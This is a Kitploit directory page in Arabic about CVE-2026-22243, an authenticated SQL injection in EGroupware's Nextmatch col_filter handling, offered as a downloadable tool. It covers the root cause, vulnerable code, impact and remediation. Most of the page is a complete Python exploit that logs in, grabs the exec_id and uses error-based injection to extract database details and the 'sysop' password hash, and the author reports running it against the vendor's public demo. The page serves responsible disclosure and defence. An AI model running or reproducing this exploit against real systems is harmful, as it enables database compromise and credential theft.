Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-22243 — CVE-2026-22243 - EGroupware يحتوي على ثغرة حقن SQL في معالجة فلاتر Nextmatch | Kitploit
أدوات/GitHubGitHub/lukasz-rybak/cve-2026-22243
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمأمن قواعد البيانات
GitHublukasz-rybak/cve-2026-22243

CVE-2026-22243

CVE-2026-22243 - EGroupware يحتوي على ثغرة حقن SQL في معالجة فلاتر Nextmatch

عرض المستودع
4منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-22243: EGroupware يحتوي على ثغرة حقن SQL في معالجة مرشحات Nextmatch

نظرة عامة

الحقلالتفاصيل
معرف CVECVE-2026-22243
الخطورةعالية
الاستشارة الأمنيةعرض الاستشارة
اكتشفهاLukasz Rybak

المنتجات المتأثرة

  • egroupware/egroupware (الإصدارات: < 23.1.20260113)
  • egroupware/egroupware (الإصدارات: >= 26.0.20251208, < 26.0.20260113)

تصنيف CWE

  • CWE-89: تحييد غير صحيح للعناصر الخاصة المستخدمة في أمر SQL ('حقن SQL')

التفاصيل

الملخص

حقن SQL حرج بعد المصادقة في معالجة مرشحات أداة Nextmatch

توجد ثغرة حرجة من نوع حقن SQL في المكونات الأساسية لـ EGroupware، وتحديدًا في معالجة مرشحات Nextmatch. تسمح هذه الثغرة للمهاجمين المصادق عليهم بحقن أوامر SQL عشوائية في جملة WHERE الخاصة باستعلامات قاعدة البيانات. ويتم تحقيق ذلك من خلال استغلال مشكلة تلاعب بالأنواع في PHP حيث يحوّل فك ترميز JSON السلاسل الرقمية إلى أعداد صحيحة، متجاوزًا فحص is_int() الأمني الذي يستخدمه التطبيق.

التفاصيل

تحليل السبب الجذري تكمن الثغرة في الطريقة التي تعالج بها طبقة تجريد قاعدة البيانات (Api\Db) وفئات التخزين عالية المستوى (Api\Storage\Base, infolog_so) مصفوفة col_filter المستخدمة في أدوات "Nextmatch".

يحاول التطبيق التحقق من الإدخال باستخدام is_int($key) لتحديد ما إذا كان مفتاح المصفوفة يمثل جزءًا خامًا من SQL يجب الوثوق به. ومع ذلك، عند معالجة طلبات POST المستندة إلى JSON، يقوم json_decode في PHP تلقائيًا بتحويل المفاتيح الرقمية النصية (مثل "0") إلى أعداد صحيحة أصلية.

وبالتالي، يمكن للمهاجم إرسال حمولة JSON تحتوي على مصفوفة ترابطية بمفاتيح رقمية. يفسّر التطبيق هذه المفاتيح على أنها أعداد صحيحة (يعيد is_int القيمة true) ويُلحق القيم المرتبطة بها — التي تحتوي على SQL خبيث — مباشرةً بالاستعلام.

مواقع الكود المعرض للخطر

  1. الملف: sources/egroupware/api/src/Db.php (سطر 1776 تقريبًا) الطريقة: column_data_implode
root@kitploit:~
// In function column_data_implode
elseif (is_int($key) && $use_key===True) {
     if (empty($data)) continue;
     // VULNERABLE: $data is appended directly to SQL without sanitization
     $values[] = $data; 
}
  1. الملف: sources/egroupware/api/src/Storage/Base.php (سطر 1134 تقريبًا) الطريقة: parse_search
root@kitploit:~
// In function parse_search
foreach($criteria as $col => $val) {
     // VULNERABLE: is_int() returns true for JSON keys like "0"
     if (is_int($col)) {
         $query[] = $val; 
     }
     // ...
}

إثبات المفهوم

لقد تحققت من هذه الثغرة على مثيل Docker محلي وأكدتها (للقراءة فقط) على مثيل العرض العام لديكم (demo.egroupware.net).

نص برمجي آلي للاستغلال: يقوم النص البرمجي التالي بأتمتة تسجيل الدخول واستخراج exec_id وسرقة البيانات عبر حقن SQL القائم على الأخطاء.

root@kitploit:~
import requests
import re
import sys
import urllib3

# Suppress SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# CLI Configuration
BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "http://localhost:8088/egroupware"
LOGIN_USER = sys.argv[2] if len(sys.argv) > 2 else "sysop"
LOGIN_PASS = sys.argv[3] if len(sys.argv) > 3 else "password123"

session = requests.Session()
session.verify = False
session.headers.update({
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
})

def extract_form_inputs(html):
    inputs = {}
    matches = re.findall(r'<input[^>]+>', html)
    for match in matches:
        name_m = re.search(r'name=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/main/%5B%5E%22%5C%27%5D%2B)["\']', match)
        value_m = re.search(r'value=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/main/%5B%5E%22%5C%27%5D%2A)["\']', match)
        if name_m:
            name = name_m.group(1)
            value = value_m.group(1) if value_m else ""
            inputs[name] = value
    return inputs

def login():
    print(f"[*] Target: {BASE_URL}")
    login_url = f"{BASE_URL}/login.php"
    
    try:
        print("[*] Retrieving login form...")
        r_get = session.get(login_url, timeout=10)
        
        data = extract_form_inputs(r_get.text)
        
        data.update({
            "login": LOGIN_USER,
            "passwd": LOGIN_PASS,
            "submitit": "Login",
            "passwd_type": "text"
        })
        
        if 'cancel' in data: del data['cancel']

        print(f"[*] Attempting login as: {LOGIN_USER}...")
        r_post = session.post(login_url, data=data, allow_redirects=True, timeout=15)
        
        if 'name="passwd"' in r_post.text and 'logout.php' not in r_post.text:
            print("[-] Login failed. Server returned login form.")
            return False
            
        print("[+] Login successful.")
        return True
    except Exception as e:
        print(f"[-] Critical error during login: {e}")
        return False

def get_exec_id():
    print("[*] Retrieving exec_id...")
    url = f"{BASE_URL}/index.php?menuaction=addressbook.addressbook_ui.index"
    try:
        r = session.get(url, timeout=10)
        
        match = re.search(r'etemplate_exec_id(?:&quot;|"|\\")\s*:\s*(?:&quot;|"|\\")([^&"\\]+)', r.text)
        
        if match:
            eid = match.group(1)
            print(f"[+] ID found: {eid}")
            return eid
        else:
            if 'name="passwd"' in r.text:
                print("[-] Session expired or login failed.")
            else:
                print("[-] exec_id pattern not found in source code.")
    except Exception as e:
        print(f"[-] Error retrieving ID: {e}")
    return None

def run_query(eid, sql):
    full = ""
    url = f"{BASE_URL}/json.php?menuaction=EGroupware\\Api\\Etemplate\\Widget\\Nextmatch::ajax_get_rows"
    
    print(f"[*] Executing SQLi: {sql}")
    
    for offset in range(1, 201, 30):
        chunk_sql = f"SUBSTRING(({sql}), {offset}, 30)"
        payload = f"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunk_sql}), 0x7e))"
        
        post_data = {
            "request": {
                "parameters": [eid, {"start": 0, "num_rows": 1}, {"col_filter": {"0": payload}}]
            }
        }
        
        try:
            r = session.post(url, json=post_data, timeout=10)
            
            match = re.search(r"XPATH syntax error: '~(.*)~'", r.text)
            if not match:
                match = re.search(r"~([^~]+)~", r.text)
            
            if match:
                chunk = match.group(1)
                if "..." in chunk: chunk = chunk.replace("...", "")
                
                full += chunk
                if len(chunk) < 1: break
            else:
                break
                
        except Exception as e:
            print(f"[-] Query error: {e}")
            break
            
    return full if full else "NO DATA / ERROR"

if __name__ == "__main__":
    if login():
        eid = get_exec_id()
        if eid:
            print("\n" + "="*40)
            print(" SQL INJECTION RESULTS ")
            print("="*40)
            print(f"[+] DB Version: {run_query(eid, 'SELECT @@version')}")
            print(f"[+] DB Name:    {run_query(eid, 'SELECT database()')}")
            print(f"[+] DB User:    {run_query(eid, 'SELECT user()')}")
            
            print("\n[*] Retrieving hash for 'sysop' user (if exists):")
            res = run_query(eid, "SELECT CONCAT(account_lid,':',account_pwd) FROM egw_accounts WHERE account_lid='sysop'")
            print(f" > {res}")
            print("="*40 + "\n")

دليل التحقق على demo.egroupware.net:

نفّذت النص البرمجي ضد العرض العام لديكم لتأكيد قابلية الاستغلال في بيئة شبيهة ببيئة الإنتاج (للقراءة فقط). صورة

الأثر: يمكن للمهاجمين ذوي الصلاحيات المنخفضة اختراق قاعدة البيانات بالكامل. وهذا يسمح بما يلي:

  • فقدان السرية: قراءة البيانات الحساسة (مثل تجزئات كلمات المرور، ورموز الجلسات، وتفاصيل الاتصال الشخصية، وأسرار الإعدادات).
  • فقدان السلامة: تعديل أو حذف بيانات عشوائية داخل التطبيق.
  • فقدان التوافر: إمكانية إسقاط الجداول أو إتلاف البيانات.

المعالجة

1. التحقق من الإدخال (القائمة البيضاء) لا تعتمد فقط على is_int() في القرارات الأمنية عند التعامل مع الإدخالات الخارجية، خاصة بيانات JSON حيث يمكن أن تكون المفاتيح سلاسل رقمية. نفّذ قائمة بيضاء (قائمة مسموحات) صارمة بأسماء الأعمدة المسموح بها للتصفية في أدوات Nextmatch. إذا لم يكن المفتاح/العمود في القائمة البيضاء، ارفض الطلب.

2. ربط المعاملات تأكد من ربط جميع قيم المرشحات كمعاملات (عبارات مُجهزة مسبقًا) بدلًا من دمجها مباشرةً في سلسلة SQL.

3. فحص صارم للأنواع عند معالجة إدخال JSON، تأكد من فحص المفاتيح بدقة مقابل الأنواع المتوقعة (مثل استخدام === للمقارنة الصارمة أو filter_var) قبل استخدامها في منطق توليد SQL.

الاعتمادات

أبلغ بها Łukasz Rybak

المراجع

  • https://github.com/EGroupware/egroupware/security/advisories/GHSA-rvxj-7f72-mhrx
  • https://nvd.nist.gov/vuln/detail/CVE-2026-22243
  • https://github.com/EGroupware/egroupware/releases/tag/23.1.20260113
  • https://github.com/EGroupware/egroupware/releases/tag/26.0.20260113
  • https://github.com/advisories/GHSA-rvxj-7f72-mhrx

إخلاء المسؤولية

تم الكشف عن هذا CVE بمسؤولية وفقًا لممارسات الكشف المنسق عن الثغرات الأمنية. المعلومات المقدمة هنا لأغراض تعليمية ودفاعية فقط.

تنزيل الأداة